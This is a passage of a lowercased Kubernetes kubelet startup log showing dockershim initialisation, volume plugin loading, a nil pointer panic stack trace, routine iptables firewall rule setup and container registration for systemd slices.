clusterstore: clusteradvertise: runtimes:map runc:{path:runc args:  }  defaultruntime:runc swarm:{nodeid: nodeaddr: localnodestate:inactive controlavailable:false error: remotemanagers:   nodes:0 managers:0 cluster:<nil>} liverestoreenabled:false isolation: initbinary:docker-init containerdcommit:{id:bb71b10fd8f58240ca47fbb579b9d1028eea7c84 expected:bb71b10fd8f58240ca47fbb579b9d1028eea7c84} runccommit:{id:2b18fe1d885ee5083ef9f0838fee39b62d653e30 expected:2b18fe1d885ee5083ef9f0838fee39b62d653e30} initcommit:{id:fec3683 expected:fec3683} securityoptions: name=apparmor name=seccomp,profile=default }\r i0411 14:25:34.429889     770 docker_service.go:271  setting cgroupdriver to systemd\r i0411 14:25:34.429978     770 kubelet.go:629  remoteruntimeendpoint: \ unix:///var/run/dockershim.sock\ , remoteimageendpoint: \ unix:///var/run/dockershim.sock\ \r i0411 14:25:34.430008     770 kubelet.go:632  starting the grpc server for the docker cri shim.\r i0411 14:25:34.430089     770 container_manager_linux.go:115  configure resource-only container \ /lib/systemd/system/kubelet.service\  with memory limit: 11684401971\r i0411 14:25:34.430117     770 docker_server.go:59  start dockershim grpc server\r i0411 14:25:34.430850     770 container_manager_linux.go:670  init pid ns is \ pid: 4026531836 \ \r i0411 14:25:34.430879     770 container_manager_linux.go:675  pid 26309 pid ns is \ pid: 4026531836 \ \r i0411 14:25:34.430947     770 container_manager_linux.go:776  attempting to apply oom_score_adj of -999 to pid 26309\r i0411 14:25:34.430962     770 oom_linux.go:65  attempting to set \ /proc/26309/oom_score_adj\  to \ -999\ \r i0411 14:25:34.450448     770 remote_runtime.go:54  connecting to runtime service unix:///var/run/dockershim.sock\r i0411 14:25:34.450539     770 remote_runtime.go:62  parsed scheme: \ \ \r i0411 14:25:34.450554     770 remote_runtime.go:62  scheme \ \  not registered, fallback to default scheme\r i0411 14:25:34.450584     770 remote_image.go:41  connecting to image service unix:///var/run/dockershim.sock\r i0411 14:25:34.450608     770 remote_image.go:50  parsed scheme: \ \ \r i0411 14:25:34.450620     770 remote_image.go:50  scheme \ \  not registered, fallback to default scheme\r i0411 14:25:34.450676     770 plugins.go:64  registering credential provider: .dockercfg\r i0411 14:25:34.450694     770 azure_credentials.go:149  azure config unspecified, disabling\r i0411 14:25:34.450724     770 asm_amd64.s:1337  ccresolverwrapper: sending new addresses to cc:  {/var/run/dockershim.sock 0  <nil>} \r i0411 14:25:34.450773     770 clientconn.go:796  clientconn switching balancer to \ pick_first\ \r i0411 14:25:34.450791     770 asm_amd64.s:1337  ccresolverwrapper: sending new addresses to cc:  {/var/run/dockershim.sock 0  <nil>} \r i0411 14:25:34.450811     770 clientconn.go:796  clientconn switching balancer to \ pick_first\ \r i0411 14:25:34.450853     770 clientconn.go:1016  blockingpicker: the picked transport is not ready, loop back to repick\r i0411 14:25:34.450874     770 balancer_conn_wrappers.go:131  pickfirstbalancer: handlesubconnstatechange: 0xc0001950a0, connecting\r i0411 14:25:34.450887     770 balancer_conn_wrappers.go:131  pickfirstbalancer: handlesubconnstatechange: 0xc000215f30, connecting\r i0411 14:25:34.451036     770 balancer_conn_wrappers.go:131  pickfirstbalancer: handlesubconnstatechange: 0xc000215f30, ready\r i0411 14:25:34.451116     770 balancer_conn_wrappers.go:131  pickfirstbalancer: handlesubconnstatechange: 0xc0001950a0, ready\r i0411 14:25:34.452467     770 kuberuntime_manager.go:210  container runtime docker initialized, version: 18.09.4, apiversion: 1.39.0\r i0411 14:25:34.452666     770 plugins.go:601  loaded volume plugin \ kubernetes.io/aws-ebs\ \r i0411 14:25:34.452682     770 plugins.go:601  loaded volume plugin \ kubernetes.io/empty-dir\ \r i0411 14:25:34.452690     770 plugins.go:601  loaded volume plugin \ kubernetes.io/gce-pd\ \r i0411 14:25:34.452698     770 plugins.go:601  loaded volume plugin \ kubernetes.io/git-repo\ \r i0411 14:25:34.452705     770 plugins.go:601  loaded volume plugin \ kubernetes.io/host-path\ \r i0411 14:25:34.452713     770 plugins.go:601  loaded volume plugin \ kubernetes.io/nfs\ \r i0411 14:25:34.452721     770 plugins.go:601  loaded volume plugin \ kubernetes.io/secret\ \r i0411 14:25:34.452729     770 plugins.go:601  loaded volume plugin \ kubernetes.io/iscsi\ \r i0411 14:25:34.452739     770 plugins.go:601  loaded volume plugin \ kubernetes.io/glusterfs\ \r i0411 14:25:34.452746     770 plugins.go:601  loaded volume plugin \ kubernetes.io/rbd\ \r i0411 14:25:34.452754     770 plugins.go:601  loaded volume plugin \ kubernetes.io/cinder\ \r i0411 14:25:34.452762     770 plugins.go:601  loaded volume plugin \ kubernetes.io/quobyte\ \r i0411 14:25:34.452769     770 plugins.go:601  loaded volume plugin \ kubernetes.io/cephfs\ \r i0411 14:25:34.452785     770 plugins.go:601  loaded volume plugin \ kubernetes.io/downward-api\ \r i0411 14:25:34.452794     770 plugins.go:601  loaded volume plugin \ kubernetes.io/fc\ \r i0411 14:25:34.452802     770 plugins.go:601  loaded volume plugin \ kubernetes.io/flocker\ \r i0411 14:25:34.452810     770 plugins.go:601  loaded volume plugin \ kubernetes.io/azure-file\ \r i0411 14:25:34.452818     770 plugins.go:601  loaded volume plugin \ kubernetes.io/configmap\ \r i0411 14:25:34.452826     770 plugins.go:601  loaded volume plugin \ kubernetes.io/vsphere-volume\ \r i0411 14:25:34.452833     770 plugins.go:601  loaded volume plugin \ kubernetes.io/azure-disk\ \r i0411 14:25:34.452843     770 plugins.go:601  loaded volume plugin \ kubernetes.io/photon-pd\ \r i0411 14:25:34.452852     770 plugins.go:601  loaded volume plugin \ kubernetes.io/projected\ \r i0411 14:25:34.452868     770 plugins.go:601  loaded volume plugin \ kubernetes.io/portworx-volume\ \r i0411 14:25:34.452876     770 plugins.go:601  loaded volume plugin \ kubernetes.io/scaleio\ \r i0411 14:25:34.452884     770 plugins.go:601  loaded volume plugin \ kubernetes.io/local-volume\ \r i0411 14:25:34.452897     770 plugins.go:601  loaded volume plugin \ kubernetes.io/storageos\ \r w0411 14:25:34.452921     770 csi_plugin.go:218  kubernetes.io/csi: kubeclient not set, assuming standalone kubelet\r i0411 14:25:34.452932     770 plugins.go:601  loaded volume plugin \ kubernetes.io/csi\ \r i0411 14:25:34.454097     770 server.go:1037  started kubelet\r i0411 14:25:34.454113     770 healthz.go:112  no default health checks specified. installing the ping handler.\r i0411 14:25:34.454120     770 healthz.go:116  installing healthz checkers:\ ping\ \r w0411 14:25:34.454146     770 kubelet.go:1387  no api server defined - no node status update will be sent.\r i0411 14:25:34.454136     770 event.go:209  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ kube-controller-1\ , uid:\ kube-controller-1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'starting' starting kubelet.\r i0411 14:25:34.454194     770 config.go:100  looking for  file , have seen map  \r e0411 14:25:34.454214     770 kubelet.go:1282  image garbage collection failed once. stats initialization may not have completed yet: failed to get imagefs info: unable to find data in memory cache\r i0411 14:25:34.454239     770 server.go:141  starting to listen on 127.0.0.1:10250\r i0411 14:25:34.454296     770 healthz.go:116  installing healthz checkers:\ ping\ ,\ log\ ,\ syncloop\ \r i0411 14:25:34.454504     770 server.go:161  starting to listen read-only on 127.0.0.1:10255\r i0411 14:25:34.454543     770 healthz.go:116  installing healthz checkers:\ ping\ ,\ log\ ,\ syncloop\ \r i0411 14:25:34.454921     770 mount_linux.go:681  directory /var/lib/kubelet is already on a shared mount\r i0411 14:25:34.454977     770 fs_resource_analyzer.go:64  starting fs resourceanalyzer\r i0411 14:25:34.455868     770 status_manager.go:148  kubernetes client is nil, not starting status manager.\r i0411 14:25:34.455925     770 kubelet.go:1806  starting kubelet main sync loop.\r i0411 14:25:34.455953     770 kubelet.go:1823  skipping pod synchronization -  container runtime status check may not have completed yet., pleg is not healthy: pleg has yet to be successful. \r i0411 14:25:34.456001     770 generic.go:189  genericpleg: relisting\r i0411 14:25:34.456107     770 iptables.go:433  running iptables -n  kube-mark-drop -t nat \r i0411 14:25:34.456936     770 reflector.go:123  starting reflector  v1beta1.runtimeclass  0s  from k8s.io/client-go/informers/factory.go:133\r i0411 14:25:34.456956     770 reflector.go:161  listing and watching  v1beta1.runtimeclass from k8s.io/client-go/informers/factory.go:133\r e0411 14:25:34.457195     770 runtime.go:69  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:76\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/panic.go:522\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:189\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:214\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:125\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:152\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:153\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:124\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:54\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r /usr/local/go/src/runtime/asm_amd64.s:1337\r i0411 14:25:34.457412     770 iptables.go:433  running iptables -c  kube-mark-drop -t nat -j mark --set-xmark 0x00008000/0x00008000 \r i0411 14:25:34.457547     770 server.go:343  adding debug handlers to kubelet server.\r i0411 14:25:34.458704     770 iptables.go:433  running iptables -n  kube-firewall -t filter \r i0411 14:25:34.459546     770 volume_manager.go:246  the desired_state_of_world populator starts\r i0411 14:25:34.459565     770 volume_manager.go:248  starting kubelet volume manager\r i0411 14:25:34.459625     770 desired_state_of_world_populator.go:130  desired state populator starts to run\r i0411 14:25:34.459916     770 kubelet.go:1264  container garbage collection succeeded\r i0411 14:25:34.460282     770 iptables.go:433  running iptables -c  kube-firewall -t filter -m comment --comment kubernetes firewall for dropping marked packets -m mark --mark 0x00008000/0x00008000 -j drop \r i0411 14:25:34.460506     770 kubelet.go:2167  container runtime status: runtime conditions: runtimeready=true reason: message:, networkready=true reason: message:\r i0411 14:25:34.461896     770 iptables.go:433  running iptables -c  output -t filter -j kube-firewall \r i0411 14:25:34.462779     770 iptables.go:433  running iptables -c  input -t filter -j kube-firewall \r i0411 14:25:34.463837     770 iptables.go:433  running iptables -n  kube-mark-masq -t nat \r i0411 14:25:34.463926     770 image_gc_manager.go:237  adding image id sha256:5cd54e388abafbc4e1feb1050d139d718e5544494ffa55118141d6cbe4681e9d to currentimages\r i0411 14:25:34.463941     770 image_gc_manager.go:242  image id sha256:5cd54e388abafbc4e1feb1050d139d718e5544494ffa55118141d6cbe4681e9d is new\r i0411 14:25:34.463948     770 image_gc_manager.go:254  image id sha256:5cd54e388abafbc4e1feb1050d139d718e5544494ffa55118141d6cbe4681e9d has size 82104359\r i0411 14:25:34.463955     770 image_gc_manager.go:237  adding image id sha256:ecf910f40d6e04e02f9da936745fdfdb455122df78e0ec3dc13c7a2eaa5191e6 to currentimages\r i0411 14:25:34.463961     770 image_gc_manager.go:242  image id sha256:ecf910f40d6e04e02f9da936745fdfdb455122df78e0ec3dc13c7a2eaa5191e6 is new\r i0411 14:25:34.463967     770 image_gc_manager.go:254  image id sha256:ecf910f40d6e04e02f9da936745fdfdb455122df78e0ec3dc13c7a2eaa5191e6 has size 209787945\r i0411 14:25:34.463972     770 image_gc_manager.go:237  adding image id sha256:00638a24688b0ccaebac56206e4b7e6c529cb6807e1c30700e6f3489b59a4492 to currentimages\r i0411 14:25:34.463977     770 image_gc_manager.go:242  image id sha256:00638a24688b0ccaebac56206e4b7e6c529cb6807e1c30700e6f3489b59a4492 is new\r i0411 14:25:34.463982     770 image_gc_manager.go:254  image id sha256:00638a24688b0ccaebac56206e4b7e6c529cb6807e1c30700e6f3489b59a4492 has size 81577865\r i0411 14:25:34.463987     770 image_gc_manager.go:237  adding image id sha256:b95b1efa0436be0942d09e035a099542787d0a32d23cda704bd3e84760d3d150 to currentimages\r i0411 14:25:34.463993     770 image_gc_manager.go:242  image id sha256:b95b1efa0436be0942d09e035a099542787d0a32d23cda704bd3e84760d3d150 is new\r i0411 14:25:34.463998     770 image_gc_manager.go:254  image id sha256:b95b1efa0436be0942d09e035a099542787d0a32d23cda704bd3e84760d3d150 has size 157821161\r i0411 14:25:34.464003     770 image_gc_manager.go:237  adding image id sha256:eb516548c180f8a6e0235034ccee2428027896af16a509786da13022fe95fe8c to currentimages\r i0411 14:25:34.464018     770 image_gc_manager.go:242  image id sha256:eb516548c180f8a6e0235034ccee2428027896af16a509786da13022fe95fe8c is new\r i0411 14:25:34.464023     770 image_gc_manager.go:254  image id sha256:eb516548c180f8a6e0235034ccee2428027896af16a509786da13022fe95fe8c has size 40303560\r i0411 14:25:34.464029     770 image_gc_manager.go:237  adding image id sha256:2c4adeb21b4ff8ed3309d0e42b6b4ae39872399f7b37e0856e673b13c4aba13d to currentimages\r i0411 14:25:34.464034     770 image_gc_manager.go:242  image id sha256:2c4adeb21b4ff8ed3309d0e42b6b4ae39872399f7b37e0856e673b13c4aba13d is new\r i0411 14:25:34.464039     770 image_gc_manager.go:254  image id sha256:2c4adeb21b4ff8ed3309d0e42b6b4ae39872399f7b37e0856e673b13c4aba13d has size 258116302\r i0411 14:25:34.464044     770 image_gc_manager.go:237  adding image id sha256:da86e6ba6ca197bf6bc5e9d900febd906b133eaa4750e6bed647b0fbe50ed43e to currentimages\r i0411 14:25:34.464050     770 image_gc_manager.go:242  image id sha256:da86e6ba6ca197bf6bc5e9d900febd906b133eaa4750e6bed647b0fbe50ed43e is new\r i0411 14:25:34.464056     770 image_gc_manager.go:250  setting image id sha256:da86e6ba6ca197bf6bc5e9d900febd906b133eaa4750e6bed647b0fbe50ed43e lastused to 2019-04-11 14:25:34.463918835 +0800 cst m=+0.194815206\r i0411 14:25:34.464077     770 image_gc_manager.go:254  image id sha256:da86e6ba6ca197bf6bc5e9d900febd906b133eaa4750e6bed647b0fbe50ed43e has size 742472\r i0411 14:25:34.464793     770 iptables.go:433  running iptables -n  kube-postrouting -t nat \r i0411 14:25:34.465717     770 iptables.go:433  running iptables -c  kube-mark-masq -t nat -j mark --set-xmark 0x00004000/0x00004000 \r i0411 14:25:34.466505     770 iptables.go:433  running iptables -c  postrouting -t nat -m comment --comment kubernetes postrouting rules -j kube-postrouting \r i0411 14:25:34.467233     770 iptables.go:433  running iptables -c  kube-postrouting -t nat -m comment --comment kubernetes service traffic requiring snat -m mark --mark 0x00004000/0x00004000 -j masquerade \r i0411 14:25:34.480853     770 factory.go:356  registering docker factory\r i0411 14:25:34.480913     770 manager.go:310  registration of the rkt container factory failed: unable to communicate with rkt api service: rkt: cannot tcp dial rkt api service: dial tcp 127.0.0.1:15441: connect: connection refused\r i0411 14:25:34.481043     770 clientconn.go:440  parsed scheme: \ unix\ \r i0411 14:25:34.481119     770 clientconn.go:440  scheme \ unix\  not registered, fallback to default scheme\r i0411 14:25:34.481211     770 asm_amd64.s:1337  ccresolverwrapper: sending new addresses to cc:  {unix:///run/containerd/containerd.sock 0  <nil>} \r i0411 14:25:34.481231     770 clientconn.go:796  clientconn switching balancer to \ pick_first\ \r i0411 14:25:34.481314     770 balancer_conn_wrappers.go:131  pickfirstbalancer: handlesubconnstatechange: 0xc000a14dd0, connecting\r i0411 14:25:34.481597     770 balancer_conn_wrappers.go:131  pickfirstbalancer: handlesubconnstatechange: 0xc000a14dd0, ready\r i0411 14:25:34.482270     770 factory.go:136  registering containerd factory\r i0411 14:25:34.482386     770 manager.go:326  registration of the crio container factory failed: get http://%2fvar%2frun%2fcrio%2fcrio.sock/info: dial unix /var/run/crio/crio.sock: connect: no such file or directory\r i0411 14:25:34.483127     770 manager.go:331  registration of the mesos container factory failed: unable to create mesos agent client: failed to get version\r i0411 14:25:34.483140     770 factory.go:54  registering systemd factory\r i0411 14:25:34.483311     770 factory.go:100  registering raw factory\r i0411 14:25:34.483478     770 manager.go:1256  started watching for new ooms in manager\r i0411 14:25:34.483916     770 nvidia.go:53  no nvidia devices found.\r i0411 14:25:34.483934     770 factory.go:120  factory \ docker\  was unable to handle container \ /\ \r i0411 14:25:34.483946     770 factory.go:120  factory \ containerd\  was unable to handle container \ /\ \r i0411 14:25:34.483961     770 factory.go:109  error trying to work out if we can handle /: / not handled by systemd handler\r i0411 14:25:34.483978     770 factory.go:120  factory \ systemd\  was unable to handle container \ /\ \r i0411 14:25:34.483992     770 factory.go:116  using factory \ raw\  for container \ /\ \r i0411 14:25:34.484312     770 manager.go:1045  added container: \ /\   aliases:   , namespace: \ \  \r i0411 14:25:34.484570     770 handler.go:325  added event &{/ 2019-04-11 10:58:03.107055062 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.484612     770 manager.go:369  starting recovery of all containers\r i0411 14:25:34.484759     770 container.go:464  start housekeeping for container \ /\ \r i0411 14:25:34.490754     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.490781     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.490791     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/run-user-500.mount\ , but ignoring.\r i0411 14:25:34.490802     770 manager.go:1005  ignoring container \ /system.slice/run-user-500.mount\ \r i0411 14:25:34.490813     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-udev-trigger.service\ \r i0411 14:25:34.490823     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-udev-trigger.service\ \r i0411 14:25:34.490831     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-udev-trigger.service: /system.slice/systemd-udev-trigger.service not handled by systemd handler\r i0411 14:25:34.490836     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-udev-trigger.service\ \r i0411 14:25:34.490843     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-udev-trigger.service\ \r i0411 14:25:34.491029     770 manager.go:1045  added container: \ /system.slice/systemd-udev-trigger.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.491195     770 handler.go:325  added event &{/system.slice/systemd-udev-trigger.service 2019-04-11 10:58:03.135054923 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.491229     770 factory.go:120  factory \ docker\  was unable to handle container \ /lib/systemd\ \r i0411 14:25:34.491238     770 factory.go:120  factory \ containerd\  was unable to handle container \ /lib/systemd\ \r i0411 14:25:34.491245     770 factory.go:109  error trying to work out if we can handle /lib/systemd: /lib/systemd not handled by systemd handler\r i0411 14:25:34.491250     770 factory.go:120  factory \ systemd\  was unable to handle container \ /lib/systemd\ \r i0411 14:25:34.491256     770 factory.go:116  using factory \ raw\  for container \ /lib/systemd\ \r i0411 14:25:34.491326     770 container.go:464  start housekeeping for container \ /system.slice/systemd-udev-trigger.service\ \r i0411 14:25:34.491414     770 manager.go:1045  added container: \ /lib/systemd\   aliases:   , namespace: \ \  \r i0411 14:25:34.491569     770 handler.go:325  added event &{/lib/systemd 2019-04-11 13:53:16.090810444 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.491592     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/networking.service\ \r i0411 14:25:34.491601     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/networking.service\ \r i0411 14:25:34.491609     770 factory.go:109  error trying to work out if we can handle /system.slice/networking.service: /system.slice/networking.service not handled by systemd handler\r i0411 14:25:34.491615     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/networking.service\ \r i0411 14:25:34.491621     770 factory.go:116  using factory \ raw\  for container \ /system.slice/networking.service\ \r i0411 14:25:34.491691     770 container.go:464  start housekeeping for container \ /lib/systemd\ \r i0411 14:25:34.491782     770 manager.go:1045  added container: \ /system.slice/networking.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.491926     770 handler.go:325  added event &{/system.slice/networking.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.491975     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/system-serial\\\\x2dgetty.slice\ \r i0411 14:25:34.491996     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/system-serial\\\\x2dgetty.slice\ \r i0411 14:25:34.492014     770 factory.go:109  error trying to work out if we can handle /system.slice/system-serial\\x2dgetty.slice: /system.slice/system-serial\\x2dgetty.slice not handled by systemd handler\r i0411 14:25:34.492023     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/system-serial\\\\x2dgetty.slice\ \r i0411 14:25:34.492033     770 factory.go:116  using factory \ raw\  for container \ /system.slice/system-serial\\\\x2dgetty.slice\ \r i0411 14:25:34.492194     770 container.go:464  start housekeeping for container \ /system.slice/networking.service\ \r i0411 14:25:34.492208     770 manager.go:1045  added container: \ /system.slice/system-serial\\\\x2dgetty.slice\   aliases:   , namespace: \ \  \r i0411 14:25:34.492357     770 handler.go:325  added event &{/system.slice/system-serial\\x2dgetty.slice 2019-04-11 10:58:03.115055022 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.492379     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-user-sessions.service\ \r i0411 14:25:34.492389     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-user-sessions.service\ \r i0411 14:25:34.492396     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-user-sessions.service: /system.slice/systemd-user-sessions.service not handled by systemd handler\r i0411 14:25:34.492401     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-user-sessions.service\ \r i0411 14:25:34.492407     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-user-sessions.service\ \r i0411 14:25:34.492569     770 manager.go:1045  added container: \ /system.slice/systemd-user-sessions.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.492626     770 container.go:464  start housekeeping for container \ /system.slice/system-serial\\\\x2dgetty.slice\ \r i0411 14:25:34.492706     770 handler.go:325  added event &{/system.slice/systemd-user-sessions.service 2019-04-11 10:58:03.131054943 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.492726     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/mdadm.service\ \r i0411 14:25:34.492734     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/mdadm.service\ \r i0411 14:25:34.492741     770 factory.go:109  error trying to work out if we can handle /system.slice/mdadm.service: /system.slice/mdadm.service not handled by systemd handler\r i0411 14:25:34.492746     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/mdadm.service\ \r i0411 14:25:34.492752     770 factory.go:116  using factory \ raw\  for container \ /system.slice/mdadm.service\ \r i0411 14:25:34.492802     770 container.go:464  start housekeeping for container \ /system.slice/systemd-user-sessions.service\ \r i0411 14:25:34.492949     770 manager.go:1045  added container: \ /system.slice/mdadm.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.493138     770 handler.go:325  added event &{/system.slice/mdadm.service 2019-04-11 10:58:03.115055022 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.493179     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice\ \r i0411 14:25:34.493193     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice\ \r i0411 14:25:34.493205     770 factory.go:109  error trying to work out if we can handle /system.slice: /system.slice not handled by systemd handler\r i0411 14:25:34.493211     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice\ \r i0411 14:25:34.493217     770 factory.go:116  using factory \ raw\  for container \ /system.slice\ \r i0411 14:25:34.493284     770 container.go:464  start housekeeping for container \ /system.slice/mdadm.service\ \r i0411 14:25:34.493481     770 manager.go:1045  added container: \ /system.slice\   aliases:   , namespace: \ \  \r i0411 14:25:34.493639     770 handler.go:325  added event &{/system.slice 2019-04-11 10:58:03.111055042 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.493663     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.493670     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.493680     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-fs-fuse-connections.mount\ , but ignoring.\r i0411 14:25:34.493688     770 manager.go:1005  ignoring container \ /system.slice/sys-fs-fuse-connections.mount\ \r i0411 14:25:34.493698     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/systemd-tmpfiles-setup.service\ \r i0411 14:25:34.493707     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/systemd-tmpfiles-setup.service\ \r i0411 14:25:34.493715     770 factory.go:109  error trying to work out if we can handle /system.slice/systemd-tmpfiles-setup.service: /system.slice/systemd-tmpfiles-setup.service not handled by systemd handler\r i0411 14:25:34.493720     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/systemd-tmpfiles-setup.service\ \r i0411 14:25:34.493726     770 factory.go:116  using factory \ raw\  for container \ /system.slice/systemd-tmpfiles-setup.service\ \r i0411 14:25:34.493753     770 container.go:464  start housekeeping for container \ /system.slice\ \r i0411 14:25:34.493914     770 manager.go:1045  added container: \ /system.slice/systemd-tmpfiles-setup.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.494042     770 handler.go:325  added event &{/system.slice/systemd-tmpfiles-setup.service 2019-04-11 10:58:03.123054983 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.494064     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/cloud-final.service\ \r i0411 14:25:34.494073     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/cloud-final.service\ \r i0411 14:25:34.494080     770 factory.go:109  error trying to work out if we can handle /system.slice/cloud-final.service: /system.slice/cloud-final.service not handled by systemd handler\r i0411 14:25:34.494085     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/cloud-final.service\ \r i0411 14:25:34.494085     770 container.go:464  start housekeeping for container \ /system.slice/systemd-tmpfiles-setup.service\ \r i0411 14:25:34.494091     770 factory.go:116  using factory \ raw\  for container \ /system.slice/cloud-final.service\ \r i0411 14:25:34.494350     770 manager.go:1045  added container: \ /system.slice/cloud-final.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.494518     770 handler.go:325  added event &{/system.slice/cloud-final.service 2019-04-11 10:58:03.135054923 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.494538     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.494545     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.494552     770 factory.go:113  factory \ systemd\  can handle container \ /system.slice/sys-kernel-debug-tracing.mount\ , but ignoring.\r i0411 14:25:34.494560     770 manager.go:1005  ignoring container \ /system.slice/sys-kernel-debug-tracing.mount\ \r i0411 14:25:34.494568     770 factory.go:120  factory \ docker\  was unable to handle container \ /system.slice/keyboard-setup.service\ \r i0411 14:25:34.494576     770 factory.go:120  factory \ containerd\  was unable to handle container \ /system.slice/keyboard-setup.service\ \r i0411 14:25:34.494591     770 factory.go:109  error trying to work out if we can handle /system.slice/keyboard-setup.service: /system.slice/keyboard-setup.service not handled by systemd handler\r i0411 14:25:34.494614     770 factory.go:120  factory \ systemd\  was unable to handle container \ /system.slice/keyboard-setup.service\ \r i0411 14:25:34.494627     770 factory.go:116  using factory \ raw\  for container \ /system.slice/keyboard-setup.service\ \r i0411 14:25:34.494626     770 container.go:464  start housekeeping for container \ /system.slice/cloud-final.service\ \r i0411 14:25:34.494848     770 manager.go:1045  added container: \ /system.slice/keyboard-setup.service\   aliases:   , namespace: \ \  \r i0411 14:25:34.494975     770 handler.go:325  added event &{/system.slice/keyboard-setup.service 2019-04-11 10:58:03.127054962 +0800 cst containercreation {<nil>}}\r i0411 14:25:34.494997     770 factory.go:120  factory \ docker\  was unable to handle container \ /lib/systemd/system\ \r i0411 14:25:34.495005     770 factory.go:120  factory \ containerd\  was unable to handle container \ /lib/systemd/system\ \r i0411 14:25:34.495012     770 factory.go:109  error trying to work out if we can 